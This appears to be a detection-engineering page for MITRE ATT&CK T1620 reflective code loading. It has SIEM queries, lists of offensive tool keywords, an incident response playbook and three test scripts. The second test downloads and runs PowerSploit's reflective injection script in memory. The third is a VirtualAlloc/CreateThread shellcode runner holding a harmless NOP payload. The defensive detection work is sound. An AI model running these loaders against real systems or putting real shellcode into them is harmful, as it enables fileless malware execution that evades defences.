Reflective Code Loading
This detection identifies adversaries loading and executing code directly within process memory to evade disk-based detection controls. Reflective code loading encompasses techniques such as .NET assembly loading via PowerShell's Assembly.Load() method, position-independent shellcode injected into self-owned process memory via VirtualAlloc/CreateThread, ELF or PE loading from anonymous memory regions, and fileless .NET CLR hosting. Because no file is written to disk, traditional file-based AV and EDR telemetry is bypassed; detections must focus on command-line indicators, suspicious memory allocation API call patterns, unusual .NET CLR loading within scripting hosts, and anomalous process behaviors such as spawning threads from heap memory regions.
What is T1620 Reflective Code Loading?
Reflective Code Loading (T1620) maps to the Defense Evasion tactic — the adversary is trying to avoid being detected in MITRE ATT&CK.
This page provides production-ready detection logic for Reflective Code Loading, covering the data sources and telemetry it touches: Microsoft Defender for Endpoint. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Defense Evasion
- Technique
- T1620 Reflective Code Loading
- Canonical reference
- https://attack.mitre.org/techniques/T1620/
let ReflectiveLoadKeywords = dynamic([
"Assembly.Load",
"[System.Reflection.Assembly]",
"Reflection.Assembly::Load",
"Invoke-ReflectivePEInjection",
"Invoke-Shellcode",
"ReflectivePELoader",
"LoadLibraryR",
"NtAllocateVirtualMemory",
"VirtualAllocEx",
"::UnsafeLoadFrom",
"AssemblyLoad"
]);
let Base64AssemblyPatterns = dynamic([
"FromBase64String",
"Convert]::FromBase64",
"[Convert]::From"
]);
let SuspiciousHosts = dynamic([
"powershell.exe", "pwsh.exe", "cscript.exe",
"wscript.exe", "mshta.exe", "rundll32.exe",
"regsvr32.exe", "msiexec.exe"
]);
DeviceProcessEvents
| where TimeGenerated > ago(1d)
| where FileName in~ (SuspiciousHosts)
or InitiatingProcessFileName in~ (SuspiciousHosts)
| where ProcessCommandLine has_any (ReflectiveLoadKeywords)
or ProcessCommandLine has_any (Base64AssemblyPatterns)
or InitiatingProcessCommandLine has_any (ReflectiveLoadKeywords)
| extend CmdLineLen = strlen(ProcessCommandLine)
| extend EncodedPayloadLikely = iff(
ProcessCommandLine matches regex @"[A-Za-z0-9+/]{200,}={0,2}",
true, false)
| extend Severity = case(
ProcessCommandLine has "Invoke-ReflectivePEInjection", "Critical",
ProcessCommandLine has "Invoke-Shellcode", "Critical",
ProcessCommandLine has "Assembly.Load" and EncodedPayloadLikely == true, "High",
ProcessCommandLine has "Assembly.Load", "Medium",
"Medium")
| project
TimeGenerated,
DeviceName,
AccountName,
AccountDomain,
FileName,
ProcessCommandLine,
InitiatingProcessFileName,
InitiatingProcessCommandLine,
InitiatingProcessAccountName,
CmdLineLen,
EncodedPayloadLikely,
Severity,
SHA256,
ProcessId,
InitiatingProcessId
| order by TimeGenerated desc Detects reflective code loading in scripting hosts and common LOLBins by searching for .NET Assembly.Load() calls, reflective PE injection tooling keywords, and large base64-encoded blobs combined with assembly loading. Flags known offensive tooling names (Invoke-ReflectivePEInjection, Invoke-Shellcode) as Critical, and heuristic patterns (Assembly.Load + encoded payload) as High.
Data Sources
Required Tables
False Positives
- Legitimate .NET applications and developer tooling that use Assembly.Load() or Reflection.Assembly for plugin systems (e.g., Visual Studio extensions, Roslyn compilers)
- Security tooling and EDR agents that use reflective loading for their own module injection (e.g., CrowdStrike Falcon sensor, Carbon Black)
- PowerShell modules that use Add-Type or Assembly.Load to compile and load inline C# at runtime for legitimate administrative tasks (e.g., ActiveDirectory management scripts)
Sigma rule & cross-platform mapping
The detection logic for Reflective Code Loading (T1620) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for T1620
References (6)
- https://attack.mitre.org/techniques/T1620/
- https://github.com/TheWover/donut
- https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1
- https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load
- https://www.mandiant.com/resources/bring-your-own-land
- https://www.intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought/
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1PowerShell Assembly.Load from Base64-encoded .NET Assembly
Expected signal: Sysmon Event ID 1 (Process Create) for powershell.exe with CommandLine containing 'Assembly.Load' and 'FromBase64String'. Sysmon Event ID 7 (ImageLoad) showing clr.dll and mscorlib.dll loaded into powershell.exe. PowerShell ScriptBlock log Event ID 4104 with full decoded script content.
- Test 2Invoke-ReflectivePEInjection Simulation via PowerSploit
Expected signal: Sysmon Event ID 1 for powershell.exe with CommandLine containing 'Invoke-ReflectivePEInjection'. PowerShell ScriptBlock Event ID 4104 with decoded function definition. Possible Sysmon Event ID 8 (CreateRemoteThread) if PE injection spawns threads.
- Test 3Shellcode Reflective Execution via Add-Type PInvoke (Windows)
Expected signal: Sysmon Event ID 1 for powershell.exe with CommandLine containing 'Add-Type' and 'VirtualAlloc', 'CreateThread', 'DllImport', 'kernel32'. PowerShell ScriptBlock Event ID 4104 with full C# source including PInvoke signatures. Sysmon Event ID 7 showing clr.dll and clrjit.dll loaded into powershell.exe.
Response Playbook
Triage
- Step 1: Identify the initiating process — determine if the parent process (e.g., powershell.exe, mshta.exe) was spawned interactively by a user or by a scheduled task/service. Check DeviceProcessEvents for the full process tree using InitiatingProcessId.
- Step 2: Extract and decode any base64 payload present in the command line. Use CyberChef or PowerShell's [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('...')) to reveal the actual code being loaded.
- Step 3: Examine the decoded or raw assembly for known malware signatures — hash the bytes and query VirusTotal. Check for known offensive framework artifacts (SILENTTRINITY, PowerSploit, Cobalt Strike BOFs, Donut-generated shellcode).
- Step 4: Review the timeline of events on the host in the 15 minutes before and after the alert using DeviceProcessEvents, DeviceNetworkEvents, and DeviceFileEvents to understand what actions preceded and followed the reflective load.
- Step 5: Determine the user account context — was this a service account, a domain admin, or a regular user? Check for recent failed logons or lateral movement indicators in AADSignInLogs and DeviceLogonEvents.
Containment
- If the process is confirmed malicious, isolate the endpoint immediately via Defender for Endpoint > Device page > Isolate Device to prevent lateral movement while investigation continues.
- Terminate the suspicious process (powershell.exe, mshta.exe, etc.) using MDE Live Response: run `Get-Process | Where-Object {$_.Id -eq <PID>} | Stop-Process -Force` or use the 'Kill Process' action in MDE.
- If the reflective load was executed under a service or scheduled task context, disable that task/service immediately to prevent re-execution: `schtasks /change /tn "<TaskName>" /disable` or `Set-Service -Name <Name> -StartupType Disabled`.
- Revoke and reset credentials for any account involved in the process execution, particularly if the account has elevated privileges or domain access.
Evidence Collection
- Capture a full memory dump of the affected process before termination using ProcDump: `procdump -ma <PID> C:\Evidence\proc_<PID>.dmp`. This preserves the reflectively loaded code in memory.
- Export the PowerShell ScriptBlock logs from the endpoint: `wevtutil epl Microsoft-Windows-PowerShell/Operational C:\Evidence\PSOperational.evtx`. ScriptBlock logging (Event ID 4104) will contain the decoded script if enabled.
- Collect the Sysmon operational log: `wevtutil epl Microsoft-Windows-Sysmon/Operational C:\Evidence\Sysmon.evtx` — this preserves network connections and file operations correlated with the suspicious process.
- If available, extract prefetch files from C:\Windows\Prefetch\ for the suspicious executables to establish execution history and frequency.
- Run MDE Live Response to collect: process list with parent PIDs, netstat output, autoruns snapshot, and all files touched by the process in the last 30 minutes.
Escalation Criteria
- ! Escalate immediately to Incident Response if Invoke-ReflectivePEInjection or Invoke-Shellcode are confirmed executed — these are direct offense-framework indicators with no legitimate use case.
- ! Escalate if the reflective load is followed by outbound C2 connections (DeviceNetworkEvents showing connections to rare external IPs or domains within 5 minutes of the alert).
- ! Escalate if the decoded payload hashes to a known malware family (BADHATCH, WhisperGate, SILENTTRINITY, Cobalt Strike) or scores >50 on VirusTotal.
- ! Escalate if multiple hosts in the environment show the same reflective loading pattern within a short timeframe — this indicates worm-like lateral movement or a broad compromise.
- ! Escalate if the activity originates from a privileged account (Domain Admin, Service Account with broad permissions) or involves credential access tools.
Investigation Guide
Forensic Artifacts
- >
PowerShell ScriptBlock logs (Event ID 4104) — contain decoded script content including Assembly.Load() calls - >
PowerShell Module logs (Event ID 4103) — pipeline execution showing module loading activity - >
Sysmon Event ID 7 (ImageLoad) — can show CLR DLLs (clr.dll, mscorlib.dll) loaded into unexpected processes - >
Windows Error Reporting (WER) crash dumps if the reflective payload caused an exception — stored in %LOCALAPPDATA%\CrashDumps - >
ETW (Event Tracing for Windows) .NET CLR traces — System.Reflection events capture assembly loading if ETW consumers are active - >
Process memory dump — contains the reflectively loaded code in the heap or anonymous memory regions - >
Prefetch files for the host process — confirm execution frequency and loaded modules
Tuning Guidance
Start by enabling PowerShell ScriptBlock logging (GPO: Computer Config > Admin Templates > Windows Components > Windows PowerShell > Turn on PowerShell Script Block Logging) and Module logging — these capture decoded content and dramatically improve detection confidence. Baseline legitimate Assembly.Load usage in your environment by reviewing the parent processes and loaded assembly hashes over 30 days before alerting. Whitelist known developer workstations running Visual Studio or Roslyn, and known EDR product processes. For the CLR DLL hunting query, build an allowlist of non-standard .NET hosts specific to your environment (e.g., custom line-of-business apps). The base64 heuristic is noisy in environments with heavy PowerShell automation — consider raising the minimum encoded string length or requiring co-occurrence with Assembly.Load keywords. If SILENTTRINITY or PowerSploit is confirmed, all variations of these tools share distinctive command-line fragments that can be added as high-confidence exact-match rules.
Hunting Queries
Hunts for CLR DLLs (clr.dll, mscorlib.dll) loaded into non-.NET host processes — a strong indicator that a process is hosting reflectively loaded .NET code. Legitimate .NET hosts are excluded.
// Hunt for CLR loaded into unusual processes — a sign of reflective .NET loading
DeviceImageLoadEvents
| where TimeGenerated > ago(7d)
| where FileName in~ ("clr.dll", "mscorlib.dll", "clrjit.dll", "mscoree.dll")
| where InitiatingProcessFileName !in~ (
"powershell.exe", "pwsh.exe", "dotnet.exe", "csc.exe",
"msbuild.exe", "devenv.exe", "sqlservr.exe", "w3wp.exe",
"svchost.exe", "WmiPrvSE.exe", "explorer.exe"
)
| summarize
CLRLoads = count(),
Processes = make_set(InitiatingProcessFileName),
Devices = make_set(DeviceName)
by InitiatingProcessFileName, InitiatingProcessFolderPath
| where CLRLoads > 1
| order by CLRLoads desc index=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=7
| eval img=lower(ImageLoaded), proc=lower(Image)
| where match(img, "clr\.dll|mscorlib\.dll|clrjit\.dll|mscoree\.dll")
| where NOT match(proc, "powershell\.exe|pwsh\.exe|dotnet\.exe|csc\.exe|msbuild\.exe|devenv\.exe|sqlservr\.exe|w3wp\.exe|svchost\.exe|wmiprvse\.exe")
| stats count by ComputerName, Image, ImageLoaded, Signed, Signature
| sort - count Correlates Assembly.Load PowerShell executions with outbound network connections from the same process within 5 minutes — indicative of reflectively loaded C2 implants establishing callbacks.
// Hunt for PowerShell making network connections immediately after Assembly.Load patterns
let AssemblyLoadEvents = DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has_any ("Assembly.Load", "[System.Reflection", "FromBase64String")
| project LoadTime = TimeGenerated, DeviceName, ProcessId, AccountName;
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe")
| where RemoteIPType == "Public"
| join kind=inner AssemblyLoadEvents
on DeviceName, $left.InitiatingProcessId == $right.ProcessId
| where TimeGenerated between (LoadTime .. (LoadTime + 5m))
| project
LoadTime,
NetworkTime = TimeGenerated,
DeviceName,
AccountName,
RemoteIP,
RemotePort,
RemoteUrl,
InitiatingProcessCommandLine index=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
| eval evt_type=case(EventCode=="1", "process", EventCode=="3", "network", true(), "other")
| where evt_type IN ("process", "network")
| eval proc=lower(Image), cmdline=lower(CommandLine)
| where (evt_type=="process" AND match(proc, "powershell\.exe|pwsh\.exe") AND match(cmdline, "assembly\.load|frombase64string"))
OR (evt_type=="network" AND match(proc, "powershell\.exe|pwsh\.exe") AND NOT match(DestinationIp, "^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)"))
| stats values(cmdline) as Commands, values(DestinationIp) as RemoteIPs, values(DestinationPort) as Ports by ComputerName, ProcessId, User
| where isnotnull(RemoteIPs) AND isnotnull(Commands) Hunts for PowerShell Add-Type abuse where inline C# includes PInvoke calls to Windows memory management APIs (VirtualAlloc, CreateThread) — a pattern used to execute raw shellcode reflectively from PowerShell without writing files.
// Hunt for Add-Type with unsafe or pinvoke patterns used to call memory allocation APIs
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has "Add-Type"
and (
ProcessCommandLine has_any ("VirtualAlloc", "VirtualProtect", "CreateThread", "NtAllocateVirtualMemory", "WriteProcessMemory")
or ProcessCommandLine has_any ("DllImport", "kernel32", "ntdll")
)
| extend IsUnsafe = ProcessCommandLine has "unsafe"
| project
TimeGenerated,
DeviceName,
AccountName,
ProcessCommandLine,
IsUnsafe,
SHA256,
ProcessId
| order by TimeGenerated desc index=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
| eval cmdline=CommandLine, proc=lower(Image)
| where match(proc, "powershell\.exe|pwsh\.exe")
AND match(lower(cmdline), "add-type")
AND match(lower(cmdline), "virtualalloc|virtualprotect|createthread|ntallocatevirtualmemory|writeprocessmemory|dllimport|kernel32|ntdll")
| eval IsUnsafe=if(match(lower(cmdline), "unsafe"), "true", "false")
| table _time, ComputerName, User, CommandLine, IsUnsafe, ParentImage, ParentCommandLine, Hashes Atomic Red Team Tests
Simulates reflective .NET assembly loading via PowerShell by compiling a minimal C# assembly, base64-encoding it, and loading it entirely in memory using Assembly.Load() without writing the DLL to disk. This is the core pattern used by SILENTTRINITY and other .NET-based C2 frameworks.
Command
$code = @'
using System;
public class ReflectTest {
public static string Run() { return "ReflectiveLoadTest_T1620"; }
}
'@
$provider = New-Object Microsoft.CSharp.CSharpCodeProvider
$params = New-Object System.CodeDom.Compiler.CompilerParameters
$params.GenerateInMemory = $false
$params.OutputAssembly = "$env:TEMP\\refltest.dll"
$result = $provider.CompileAssemblyFromSource($params, $code)
$bytes = [System.IO.File]::ReadAllBytes("$env:TEMP\\refltest.dll")
$b64 = [Convert]::ToBase64String($bytes)
# Now reflectively load from base64 — no file on disk
$loadedBytes = [Convert]::FromBase64String($b64)
$asm = [System.Reflection.Assembly]::Load($loadedBytes)
$type = $asm.GetType("ReflectTest")
$method = $type.GetMethod("Run")
$output = $method.Invoke($null, $null)
Write-Host "Reflective load result: $output" Cleanup
Remove-Item "$env:TEMP\refltest.dll" -Force -ErrorAction SilentlyContinue Expected Telemetry
Sysmon Event ID 1 (Process Create) for powershell.exe with CommandLine containing 'Assembly.Load' and 'FromBase64String'. Sysmon Event ID 7 (ImageLoad) showing clr.dll and mscorlib.dll loaded into powershell.exe. PowerShell ScriptBlock log Event ID 4104 with full decoded script content.
Expected Detection
Alert: 'Reflective Code Loading - T1620' triggered on DeviceProcessEvents match for Assembly.Load + FromBase64String in PowerShell command line.
Simulates the PowerSploit Invoke-ReflectivePEInjection technique by loading the PowerSploit module from memory (without writing to disk) and invoking a PE reflectively into the current process. Validates detection of the most commonly named reflective loading function in offensive PowerShell tooling.
Command
# Download PowerSploit ReflectivePEInjection module into memory only
$url = "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1"
$wc = New-Object System.Net.WebClient
$code = $wc.DownloadString($url)
# Load into memory via ScriptBlock without writing to disk
$sb = [ScriptBlock]::Create($code)
Invoke-Command -ScriptBlock $sb
# Invoke with a benign target DLL (calc.exe module) to generate telemetry
Invoke-ReflectivePEInjection -PEPath C:\Windows\System32\calc.exe -ForceASLR Cleanup
Get-Process calc -ErrorAction SilentlyContinue | Stop-Process -Force Expected Telemetry
Sysmon Event ID 1 for powershell.exe with CommandLine containing 'Invoke-ReflectivePEInjection'. PowerShell ScriptBlock Event ID 4104 with decoded function definition. Possible Sysmon Event ID 8 (CreateRemoteThread) if PE injection spawns threads.
Expected Detection
Alert fires on 'Invoke-ReflectivePEInjection' keyword match in ProcessCommandLine — classified as Critical severity.
Validates detection of shellcode execution through reflective loading by using PowerShell Add-Type to define inline C# with PInvoke calls to VirtualAlloc and CreateThread — the canonical pattern used by tools like BADHATCH and raw shellcode runners generated by Donut or msfvenom.
Command
$CSharpCode = @'
using System;
using System.Runtime.InteropServices;
public class ShellcodeRunner {
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static void Run() {
// Benign NOP sled shellcode for testing — does nothing harmful
byte[] shellcode = new byte[] { 0x90, 0x90, 0x90, 0xC3 }; // NOP NOP NOP RET
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
IntPtr thread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(thread, 500);
}
}
'@
Add-Type -TypeDefinition $CSharpCode -Language CSharp
[ShellcodeRunner]::Run()
Write-Host "Shellcode reflective execution test complete" Cleanup
# No cleanup required — process terminates naturally; no files written to disk Expected Telemetry
Sysmon Event ID 1 for powershell.exe with CommandLine containing 'Add-Type' and 'VirtualAlloc', 'CreateThread', 'DllImport', 'kernel32'. PowerShell ScriptBlock Event ID 4104 with full C# source including PInvoke signatures. Sysmon Event ID 7 showing clr.dll and clrjit.dll loaded into powershell.exe.
Expected Detection
Alert fires on Add-Type + VirtualAlloc/CreateThread/DllImport/kernel32 keyword co-occurrence hunt query. Medium-to-High severity depending on rule tuning.